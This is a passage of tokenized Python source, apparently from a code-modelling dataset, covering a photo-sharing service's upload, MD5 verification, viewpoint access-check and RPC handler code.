"of", " ", "a", " ", "photo", " ", "upload", ".", " ", "\"", "suff", "ix", "\"", " ", "is", "\\", "10", ";", " ", " ", " ", " ", "append", "ed", " ", "to", " ", "the", " ", "end", " ", "of", " ", "the", " ", "photo", " ", "id", " ", "in", " ", "order", " ", "to", " ", "distinguish", " ", "different", "\\", "10", ";", " ", " ", " ", " ", "photo", " ", "size", "s", ".", " ", "The", " ", "value", " ", "of", " ", "the", " ", "\"", "md5", "\\u", "attr", "\"", " ", "attribute", " ", "is", " ", "convert", "ed", " ", "to", " ", "a", "\\", "10", ";", " ", " ", " ", " ", "base", "-", "64", " ", "encode", "d", " ", "value", " ", "for", " ", "the", " ", "HTTP", " ", "Conten", "t", "-", "MD", "5", " ", "header", ".", " ", "Us", "ing", " ", "this", "\\", "10", ";", " ", " ", " ", " ", "attribute", " ", "ensure", "s", " ", "tha", "t", " ", "the", " ", "user", " ", "uploads", " ", "a", " ", "photo", " ", "tha", "t", " ", "exact", "ly", " ", "matche", "s", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "MD", "5", ",", " ", "and", " ", "als", "o", " ", "enable", "s", " ", "detect", "ion", " ", "of", " ", "any", " ", "bit", " ", "corrupt", "ion", " ", "on", " ", "the", " ", "wire", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "md5", "\\u", "hex_", "=_", "ph", "\\u", "dict_", "[_", "md5", "\\u", "attr_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Convert", " ", "MD", "5", " ", "encode", "d", " ", "as", " ", "a", " ", "hex", " ", "string", " ", "to", " ", "base", "-", "64", " ", "string", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "content", "\\u", "md5_", "=_", "base64_", "._", "b64encode_", "(_", "md5", "\\u", "hex_", "._", "decode_", "(_", "'", "hex", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Type", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Inva", "lid", "Request", "Error_", "(_", "'", "md5", " ", "value", " ", "\"%", "s", "\"", " ", "is", " ", "invalid", ";", " ", "it", " ", "must", " ", "be", " ", "in", " ", "ascii", " ", "hex", " ", "format", "'_", "%_", "md5", "\\u", "hex_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "obj", "\\u", "store_", "._", "Generate", "Upload", "Url_", "(_", "'%", "s", "%", "s", "'_", "%_", "(_", "ph", "\\u", "dict_", "[_", "'", "photo", "\\u", "id", "'_", "]_", ",_", "suffix_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "content", "\\u", "type_", "=_", "ph", "\\u", "dict_", "._", "get_", "(_", "'", "content", "\\u", "type", "'_", ",_", "'", "image", "/", "jpeg", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "content", "\\u", "md5_", "=_", "content", "\\u", "md5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "Verify", "Attribute", "Update_", "(_", "photo_", ",_", "suffix_", ",_", "attr", "\\u", "name_", ",_", "new", "\\u", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Check", "s", " ", "whe", "ther", " ", "the", " ", "specified", " ", "photo", " ", "metadata", " ", "attribute", " ", "is", " ", "abo", "ut", "\\", "10", ";", " ", " ", " ", " ", "to", " ", "be", " ", "modifi", "ed", ".", " ", "Don", "'", "t", " ", "allow", " ", "the", " ", "change", " ", "if", " ", "the", " ", "photo", " ", "image", " ", "data", " ", "has", "\\", "10", ";", " ", " ", " ", " ", "alr", "ead", "y", " ", "bee", "n", " ", "uploade", "d", " ", "to", " ", "S", "3", ".", " ", "Thi", "s", " ", "check", " ", "prevent", "s", " ", "situation", "s", " ", "where", "\\", "10", ";", " ", " ", " ", " ", "photo", " ", "MD", "5", " ", "values", " ", "are", " ", "update", "d", " ", "after", " ", "the", " ", "initial", " ", "upload", ",", " ", "whi", "ch", " ", "coul", "d", "\\", "10", ";", " ", " ", " ", " ", "allow", " ", "a", " ", "user", " ", "to", " ", "overwrit", "e", " ", "an", " ", "exist", "ing", " ", "photo", " ", "in", " ", "order", " ", "to", " ", "bypass", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "7", "-", "day", " ", "unsh", "are", " ", "rule", ".", " ", "Bu", "t", " ", "it", " ", "still", " ", "allow", "s", " ", "case", "s", " ", "where", " ", "a", " ", "new", " ", "MD", "5", " ", "was", "\\", "10", ";", " ", " ", " ", " ", "generat", "ed", " ", "by", " ", "the", " ", "client", " ", "as", " ", "part", " ", "of", " ", "a", " ", "rebu", "ild", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "exist", "ing", "\\u", "value_", "=_", "getattr_", "(_", "photo_", ",_", "attr", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "new", "\\u", "value_", "!=_", "exist", "ing", "\\u", "value_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Exist", "ing", " ", "attribute", " ", "value", " ", "doe", "s", " ", "not", " ", "match", ",", " ", "so", " ", "only", " ", "allow", " ", "it", " ", "to", " ", "be", " ", "update", "d", " ", "if", " ", "the", " ", "image", " ", "data_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "has", " ", "not", " ", "ye", "t", " ", "bee", "n", " ", "uploade", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "etag_", "=_", "yield_", "gen_", "._", "Task_", "(_", "Photo_", "._", "Is", "Image", "Upload", "ed_", ",_", "obj", "\\u", "store_", ",_", "photo_", "._", "photo", "\\u", "id_", ",_", "suffix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "etag_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Permi", "ssion", "Error_", "(_", "'", "cann", "ot", " ", "overwrit", "e", " ", "exist", "ing", " ", "photo", " ", "\"%", "s", "\"", " ", "with", " ", "a", " ", "new", " ", "photo", "'_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "photo_", "._", "photo", "\\u", "id_", "+_", "suffix_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "Verify", "Photo_", "(_", "ph", "\\u", "dict_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Verify", " ", "the", " ", "photo", "'", "s", " ", "id", ".", " ", "Override", " ", "any", " ", "MD", "5", " ", "values", " ", "tha", "t", " ", "have", " ", "change", "d", "\\", "10", ";", " ", " ", " ", " ", "on", " ", "the", " ", "client", " ", "as", " ", "long", " ", "as", " ", "the", " ", "photo", " ", "image", " ", "data", " ", "hasn", "'", "t", " ", "ye", "t", " ", "bee", "n", " ", "uploade", "d", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "Photo_", "._", "Verify", "Photo", "Id_", "(_", "client_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "ph", "\\u", "dict_", "[_", "'", "photo", "\\u", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "photo_", "=_", "yield_", "gen_", "._", "Task_", "(_", "Photo_", "._", "Query_", ",_", "client_", ",_", "ph", "\\u", "dict_", "[_", "'", "photo", "\\u", "id", "'_", "]_", ",_", "None_", ",_", "must", "\\u", "exist_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "photo_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Photo", " ", "must", " ", "be", " ", "owned", " ", "by", " ", "calling", " ", "user", ",", " ", "or", " ", "there", "'", "s", " ", "a", " ", "security", " ", "brea", "ch", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "photo_", "._", "user", "\\u", "id_", "==_", "user", "\\u", "id_", ",_", "(_", "photo_", ",_", "user", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "yield_", "[_", "gen_", "._", "Task_", "(_", "\\u", "Verify", "Attribute", "Update_", ",_", "photo_", ",_", "'.", "t", "'_", ",_", "'", "tn", "\\u", "md5", "'_", ",_", "ph", "\\u", "dict_", "[_", "'", "tn", "\\u", "md5", "'_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "gen_", "._", "Task_", "(_", "\\u", "Verify", "Attribute", "Update_", ",_", "photo_", ",_", "'.", "m", "'_", ",_", "'", "med", "\\u", "md5", "'_", ",_", "ph", "\\u", "dict_", "[_", "'", "med", "\\u", "md5", "'_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "gen_", "._", "Task_", "(_", "\\u", "Verify", "Attribute", "Update_", ",_", "photo_", ",_", "'.", "f", "'_", ",_", "'", "full", "\\u", "md5", "'_", ",_", "ph", "\\u", "dict_", "[_", "'", "full", "\\u", "md5", "'_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "gen_", "._", "Task_", "(_", "\\u", "Verify", "Attribute", "Update_", ",_", "photo_", ",_", "'.", "o", "'_", ",_", "'", "orig", "\\u", "md5", "'_", ",_", "ph", "\\u", "dict_", "[_", "'", "orig", "\\u", "md5", "'_", "]_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "yield_", "Activity_", "._", "Verify", "Activ", "it", "y", "Id_", "(_", "client_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", "[_", "'", "activit", "y", "'_", "]_", "[_", "'", "activit", "y", "\\u", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "request_", "[_", "'", "user", "\\u", "id", "'_", "]_", "=_", "user", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "episode", "\\u", "id_", "=_", "request_", "[_", "'", "episode", "'_", "]_", "[_", "'", "episode", "\\u", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "Episode_", "._", "Verify", "Episod", "e", "Id_", "(_", "client_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "episode", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "In", " ", "parall", "el", ",", " ", "verify", " ", "each", " ", "photo", " ", "id", " ", "and", " ", "update", " ", "any", " ", "attribute", "s", " ", "tha", "t", " ", "can", " ", "be", " ", "overrid", "den", "._", "\\u\\u\\uNL\\u\\u\\u_", "yield_", "[_", "gen_", "._", "Task_", "(_", "\\u", "Verify", "Photo_", ",_", "ph", "\\u", "dict_", ")_", "for_", "ph", "\\u", "dict_", "in_", "request_", "[_", "'", "photo", "s", "'_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "yield_", "gen_", "._", "Task_", "(_", "Operation_", "._", "Creat", "e", "And", "Execute_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "client_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "user", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "device", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Upload", "Episod", "e", "Opera", "tion", ".", "Execut", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "logging_", "._", "info_", "(_", "'", "UPLOAD", " ", "EPI", "SO", "DE", ":", " ", "user", ":", " ", "%", "d", ",", " ", "device", ":", " ", "%", "d", ",", " ", "episode", ":", " ", "%", "s", ",", " ", "%", "d", " ", "photo", "s", "'_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "episode", "\\u", "id_", ",_", "len_", "(_", "request_", "[_", "'", "photo", "s", "'_", "]_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "{_", "'", "episode", "\\u", "id", "'_", ":_", "episode", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "photo", "s", "'_", ":_", "[_", "{_", "'", "photo", "\\u", "id", "'_", ":_", "ph", "\\u", "dict_", "[_", "'", "photo", "\\u", "id", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "tn", "\\u", "put", "\\u", "url", "'_", ":_", "\\u", "Generate", "Upload", "Url_", "(_", "obj", "\\u", "store_", ",_", "ph", "\\u", "dict_", ",_", "'.", "t", "'_", ",_", "'", "tn", "\\u", "md5", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "med", "\\u", "put", "\\u", "url", "'_", ":_", "\\u", "Generate", "Upload", "Url_", "(_", "obj", "\\u", "store_", ",_", "ph", "\\u", "dict_", ",_", "'.", "m", "'_", ",_", "'", "med", "\\u", "md5", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "full", "\\u", "put", "\\u", "url", "'_", ":_", "\\u", "Generate", "Upload", "Url_", "(_", "obj", "\\u", "store_", ",_", "ph", "\\u", "dict_", ",_", "'.", "f", "'_", ",_", "'", "full", "\\u", "md5", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "orig", "\\u", "put", "\\u", "url", "'_", ":_", "\\u", "Generate", "Upload", "Url_", "(_", "obj", "\\u", "store_", ",_", "ph", "\\u", "dict_", ",_", "'.", "o", "'_", ",_", "'", "orig", "\\u", "md5", "'_", ")_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "ph", "\\u", "dict_", "in_", "request_", "[_", "'", "photo", "s", "'_", "]_", "]_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "raise_", "gen_", "._", "Return_", "(_", "response_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "Validate", "Conta", "cts_", "(_", "contact", "\\u", "dicts_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "For", " ", "each", " ", "contact", " ", "in", " ", "\"", "contact", "\\u", "dict", "s", "\"", " ", "tha", "t", " ", "has", " ", "an", " ", "identi", "ty", " ", "attribute", ",", " ", "validates", " ", "the", " ", "identi", "ty", "\\", "10", ";", " ", " ", "key", " ", "format", ".", " ", "The", " ", "\"", "contact", "\\u", "dict", "s", "\"", " ", "have", " ", "the", " ", "FOL", "LOWER", "\\u", "CONTACT", "S", "\\u", "METAD", "ATA", " ", "format", " ", "defin", "ed", " ", "in", "\\", "10", ";", " ", " ", "json", "\\u", "schema", ".", "py", ".", "\\", "10", ";", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "contact_", "in_", "contact", "\\u", "dicts_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "'", "identi", "ty", "'_", "in_", "contact_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Identity_", "._", "Validate", "Key_", "(_", "contact_", "[_", "'", "identi", "ty", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "Can", "View", "View", "point", "Content_", "(_", "view", "point_", ",_", "follower", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Return", "s", " ", "true", " ", "if", " ", "the", " ", "give", "n", " ", "follower", " ", "is", " ", "allow", "ed", " ", "to", " ", "view", " ", "the", " ", "view", "point", "'", "s", " ", "content", ":", "\\", "10", ";", " ", " ", " ", " ", "1", ".", " ", "Followe", "r", " ", "must", " ", "exist", "\\", "10", ";", " ", " ", " ", " ", "2", ".", " ", "View", "point", " ", "must", " ", "not", " ", "be", " ", "remove", "d", " ", "by", " ", "the", " ", "follower", "\\", "10", ";", " ", " ", " ", " ", "3", ".", " ", "Cooki", "e", " ", "must", " ", "allow", " ", "access", " ", "to", " ", "the", " ", "view", "point", " ", "(", "prospe", "ctive", " ", "user", " ", "invitation", "s", " ", "have", " ", "access", " ", "to", "\\", "10", ";", " ", " ", " ", "a", " ", "single", " ", "view", "point", "'", "s", " ", "content", " ", "and", " ", "to", " ", "any", " ", "system", " ", "view", "points", ")", "\\", "10", ";", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "view", "point_", "is_", "None_", "or_", "follower", "_", "is_", "None_", "or_", "not_", "follower", "_", "._", "Can", "View", "Content_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "view", "point_", "._", "Is", "System_", "(_", ")_", "or_", "base_", "._", "View", "finde", "r", "Context_", "._", "current_", "(_", ")_", "._", "Can", "View", "View", "point_", "(_", "view", "point_", "._", "view", "point", "\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "Add", "Photo", "Urls", "_", "(_", "obj", "\\u", "store_", ",_", "ph", "\\u", "dict_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Add", "s", " ", "photo", " ", "urls", " ", "to", " ", "the", " ", "photo", " ", "dict", " ", "for", " ", "each", " ", "photo", " ", "size", ":", " ", "original", ",", " ", "full", ",", " ", "medium", ",", " ", "and", "\\", "10", ";", " ", " ", "thumbnail", ".", " ", "The", " ", "photo", " ", "dict", " ", "shou", "ld", " ", "alr", "ead", "y", " ", "have", " ", "a", " ", "\"", "photo", "\\u", "id", "\"", " ", "property", ".", "\\", "10", ";", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ph", "\\u", "dict_", "[_", "'", "tn", "\\u", "get", "\\u", "url", "'_", "]_", "=_", "photo", "\\u", "store_", "._", "Generate", "Photo", "Url_", "(_", "obj", "\\u", "store_", ",_", "ph", "\\u", "dict_", "[_", "'", "photo", "\\u", "id", "'_", "]_", ",_", "'.", "t", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ph", "\\u", "dict_", "[_", "'", "med", "\\u", "get", "\\u", "url", "'_", "]_", "=_", "photo", "\\u", "store_", "._", "Generate", "Photo", "Url_", "(_", "obj", "\\u", "store_", ",_", "ph", "\\u", "dict_", "[_", "'", "photo", "\\u", "id", "'_", "]_", ",_", "'.", "m", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ph", "\\u", "dict_", "[_", "'", "full", "\\u", "get", "\\u", "url", "'_", "]_", "=_", "photo", "\\u", "store_", "._", "Generate", "Photo", "Url_", "(_", "obj", "\\u", "store_", ",_", "ph", "\\u", "dict_", "[_", "'", "photo", "\\u", "id", "'_", "]_", ",_", "'.", "f", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ph", "\\u", "dict_", "[_", "'", "orig", "\\u", "get", "\\u", "url", "'_", "]_", "=_", "photo", "\\u", "store_", "._", "Generate", "Photo", "Url_", "(_", "obj", "\\u", "store_", ",_", "ph", "\\u", "dict_", "[_", "'", "photo", "\\u", "id", "'_", "]_", ",_", "'.", "o", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "Make", "View", "point", "Meta", "data", "Dict_", "(_", "view", "point_", ",_", "follower", "_", ",_", "obj", "\\u", "store_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Return", "s", " ", "a", " ", "view", "point", " ", "metadata", " ", "dictionar", "y", " ", "appropr", "iate", " ", "for", " ", "a", " ", "service", " ", "query", " ", "response", ".", "\\", "10", ";", " ", " ", "The", " ", "response", " ", "dictionar", "y", " ", "contain", "s", " ", "valid", " ", "photo", " ", "urls", " ", "for", " ", "the", " ", "view", "points", " ", "cover", " ", "photo", ".", "\\", "10", ";", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "metadata", "\\u", "dict_", "=_", "view", "point_", "._", "Make", "Meta", "data", "Dict_", "(_", "follower", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "cover", "\\u", "photo", "'_", "in_", "metadata", "\\u", "dict_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "Add", "Photo", "Urls", "_", "(_", "obj", "\\u", "store_", ",_", "metadata", "\\u", "dict_", "[_", "'", "cover", "\\u", "photo", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "metadata", "\\u", "dict_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Service", "Handler_", "(_", "base_", "._", "Base", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "The", " ", "RP", "C", " ", "multiple", "xer", " ", "for", " ", "client", " ", "request", "/", "response", "s", ".", " ", "The", " ", "POST", "\\", "10", ";", " ", " ", "request", " ", "body", " ", "contain", "s", " ", "the", " ", "JSO", "N", "-", "encode", "d", " ", "RP", "C", " ", "input", ",", " ", "and", " ", "the", " ", "HTTP", "\\", "10", ";", " ", " ", "response", " ", "body", " ", "contain", "s", " ", "the", " ", "JSO", "N", "-", "encode", "d", " ", "RP", "C", " ", "output", ".", "\\", "10", ";", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "class_", "Method_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "An", " ", "entry", " ", "in", " ", "the", " ", "service", " ", "map", ".", " ", "Whe", "n", " ", "a", " ", "service", " ", "request", " ", "is", " ", "receive", "d", ",", "\\", "10", ";", " ", " ", " ", " ", "it", " ", "is", " ", "validat", "ed", " ", "according", " ", "to", " ", "the", " ", "\"", "request", "\"", " ", "schema", ".", " ", "If", " ", "the", " ", "message", "\\", "10", ";", " ", " ", " ", " ", "format", " ", "has", " ", "change", "d", ",", " ", "it", " ", "is", " ", "migrated", " ", "according", " ", "to", " ", "the", " ", "\"", "request", "\\u", "migr", "ator", "s", "\".\\", "10", ";", " ", " ", " ", " ", "The", " ", "request", " ", "is", " ", "dispatch", "ed", " ", "to", " ", "the", " ", "\"", "handler", "\"", " ", "function", ".", " ", "The", " ", "response", " ", "is", "\\", "10", ";", " ", " ", " ", " ", "validat", "ed", " ", "according", " ", "to", " ", "the", " ", "\"", "response", "\"", " ", "schema", " ", "after", " ", "format", " ", "migrati", "on", "\\", "10", ";", " ", " ", " ", " ", "according", " ", "to", " ", "the", " ", "\"", "response", "\\u", "migr", "ator", "s", "\".", " ", "If", " ", "\"", "allow", "\\u", "prospe", "ctive", "\"", " ", "is", " ", "true", ",", "\\", "10", ";", " ", " ", " ", " ", "then", " ", "prospe", "ctive", " ", "users", " ", "are", " ", "allow", "ed", " ", "access", " ", "to", " ", "the", " ", "method", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "WARN", "ING", ":", " ", "If", " ", "\"", "allow", "\\u", "prospe", "ctive", "\"", " ", "is", " ", "true", ",", " ", "then", " ", "the", " ", "method", " ", "must", " ", "ensure", "\\", "10", ";", " ", " ", " ", " ", " ", "tha", "t", " ", "the", " ", "prospe", "ctive", " ", "user", " ", "has", " ", "access", " ", "only", " ", "to", " ", "the", " ", "view", "point", "\\", "10", ";", " ", " ", " ", " ", " ", "give", "n", " ", "in", " ", "the", " ", "cookie", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "request_", ",_", "response_", ",_", "handler_", ",_", "allow", "\\u", "prospe", "ctive", "_", "=_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "min", "\\u", "support", "ed", "\\u", "version_", "=_", "MIN", "\\u", "SUPPORTED", "\\u", "MESSAGE", "\\u", "VERSION_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "max", "\\u", "support", "ed", "\\u", "version_", "=_", "MAX", "\\u", "SUPPORTED", "\\u", "MESSAGE", "\\u", "VERSION_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request", "\\u", "migr", "ator", "s_", "=_", "[_", "]_", ",_", "response", "\\u", "migr", "ator", "s_", "=_", "[_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "request_", "=_", "request_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "response_", "=_", "response_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "handler_", "=_", "handler_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "allow", "\\u", "prospe", "ctive", "_", "=_", "allow", "\\u", "prospe", "ctive", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "min", "\\u", "support", "ed", "\\u", "version_", "=_", "max_", "(_", "min", "\\u", "support", "ed", "\\u", "version_", ",_", "MIN", "\\u", "SUPPORTED", "\\u", "MESSAGE", "\\u", "VERSION_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "max", "\\u", "support", "ed", "\\u", "version_", "=_", "min_", "(_", "max", "\\u", "support", "ed", "\\u", "version_", ",_", "MAX", "\\u", "SUPPORTED", "\\u", "MESSAGE", "\\u", "VERSION_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "request", "\\u", "migr", "ator", "s_", "=_", "sorted_", "(_", "REQUIRE", "D", "\\u", "MIGRAT", "ORS", "_", "+_", "request", "\\u", "migr", "ator", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "response", "\\u", "migr", "ator", "s_", "=_", "sorted_", "(_", "REQUIRE", "D", "\\u", "MIGRAT", "ORS", "_", "+_", "response", "\\u", "migr", "ator", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Map", " ", "from", " ", "service", " ", "name", " ", "to", " ", "Meth", 